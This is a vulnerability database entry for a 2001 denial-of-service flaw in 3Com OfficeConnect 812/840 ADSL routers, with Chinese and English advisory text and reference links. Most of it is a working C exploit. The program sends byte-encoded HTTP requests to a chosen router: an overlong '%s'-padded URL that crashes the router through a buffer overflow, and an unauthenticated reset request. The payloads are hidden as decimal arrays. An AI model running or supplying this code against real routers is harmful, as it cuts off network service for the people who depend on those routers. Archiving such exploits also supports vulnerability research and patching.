https://www.exploit-db.com/exploits/20847
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200110-095

3ComOfficeConnectrouter是由3Com开发的一个路由器系列。3COMOfficeConnect812和3ComOfficeConnectRemote840SDSL的Web管理接口存在远程拒绝服务问题。3COMOfficeConnect812路由器的80端口运行的是HTTP服务器。用浏览器连上该端口后它会提示输入用户名和密码，在输入错误的用户名/密码之后会出现一个页面提示你这是一个受保护的对象。页面中有一个GIF图片，在该图片的URL的后面追加很多字符从而构造一个超长的URL并发送给路由器的80端口将使该路由器崩溃，在数分钟内又自动恢复正常。而且该路由器允许攻击者可以在不需要密码的情况下复位路由器。3ComOfficeConnectRemote840SDSL路由器也存在类似的缓冲区溢出，但无法自动恢复。

source: http://www.securityfocus.com/bid/2721/info

OfficeConnect 812 is a DSL router manufactured by 3Com, and distributed by numerous DSL providers. OfficeConnect 812 is an integrated ADSL router with an onboard 4 port switch.

A problem in the firmware included with this router could allow a Denial of Service. It is possible to reboot the router by connecting to the HTTP daemon, and requesting a long string. The router will power-cycle itself.

This problem makes it possible for a remote user to deny service to legimate users of networks serviced by the router. 

// 3Com OfficeConnect 812/840 ADSL Router Denial of Service (maybe others)
// Proof of concept, soft and hard reset, the security is weak
// Written pour sniffer <[email protected]> 
// Fri Sep 21 15:51:35 BRT 2001
// Viva Brazil!

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

void 
usage(binary)
char *binary;
{
fprintf(stderr,"3Com OfficeConnect 812 ADSL Router Denial of Service (%s)nsniffer <[email protected]>nt%s <1 (soft) || 2 (hard)> <remote router>n", __FILE__, binary);
}
int
main(argc, argv)
int argc;
char **argv;
{
int sockfd;
char senddata[1024];
char hardreset_data[] = { 
									 71,69,84,32,47,103,114,97,112,104,105,99,115,
                   47,115,109,108,51,99,111,109,37,115,37,115,37,
                   115,37,115,37,115,37,115,37,115,37,115,37,115,
                   37,115,37,115,37,115,37,115,37,115,37,115,37,
                   115,37,115,37,115,37,115,37,115,37,115,37,115,
                   37,115,37,115,37,115,37,115,37,115,37,115,37,
                   115,37,115,37,115,37,115,37,115,37,115,37,115,
                   37,115,37,115,37,115,37,115,37,115,37,115,37,
                   115,37,115,37,115,37,115,37,115,37,115,37,115,
                   37,115,37,115,37,115,37,115,37,115,37,115,37,
                   115,37,115,37,115,37,115,37,115,37,115,37,115,
                   37,115,37,115,37,115,37,115,32,72,84,84,80,
                   47,49,46,48,10,10,0 };
char softreset_data[] = {
                   80,79,83,84,32,47,70,111,114,109,115,47,97,
                   100,115,108,95,114,101,115,101,116,32,72,84,84,
                   80,47,49,46,49,10,72,111,115,116,58,32,49,
                   57,50,46,49,54,56,46,49,46,50,53,52,10,
                   67,111,110,110,101,99,116,105,111,110,58,32,99,
                   108,111,115,101,10,67,111,110,116,101,110,116,45,
                   76,101,110,103,116,104,58,32,49,57,10,10,83,
                   117,98,109,105,116,61,82,101,115,101,116,37,50,
                   48,76,105,110,101,10,10,0 };
struct hostent *he;
struct sockaddr_in their_addr;
								
if( argc != 3 )
{
	usage(argv[0]);
	exit(0);
}
if( atoi(argv[1]) >= 3 || atoi(argv[1]) == 0 )
{
	  usage(argv[0]);
		exit(0);	
}
if((he=gethostbyname(argv[2])) == NULL)
{
	herror("gethostbyname");
	exit(1);
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(80);
their_addr.sin_addr = (*(struct in_addr *)he->h_addr);
bzero(&their_addr.sin_zero, 8);

if ((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) 
{
	perror("socket");
	exit(1);
}

if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) 
{
	perror("connect");
	exit(1);
}
else
{
	printf("connectedn");
}
if(atoi(argv[1]) == 1)
	strncpy(senddata, softreset_data, strlen(softreset_data));
else if(atoi(argv[1]) == 2)
	strncpy(senddata, hardreset_data, strlen(hardreset_data));

if(send(sockfd, senddata, sizeof(senddata), 0) == -1) 
{
	perror("send");
	exit(1);
}
else
{
	printf("evil data sentn.. have a rice dayn");
}

close(sockfd);
return(0);				
}

来源:XF
名称:3com-officeconnect-http-dos(6573)
链接:http://xforce.iss.net/static/6573.php
来源:BID
名称:2721
链接:http://www.securityfocus.com/bid/2721
来源:BUGTRAQ
名称:20010924Regarding:3ComOfficeConnect812/840RouterDoSexploitcode
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100137290421828&w;=2
来源:BUGTRAQ
名称:200105153COMOfficeConnectDSLroutervulneratibilities
链接:http://archives.neohapsis.com/archives/bugtraq/2001-05/0115.html
来源:BUGTRAQ
名称:200109213ComOfficeConnect812/840RouterDoSexploitcode
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100119572524232&w;=2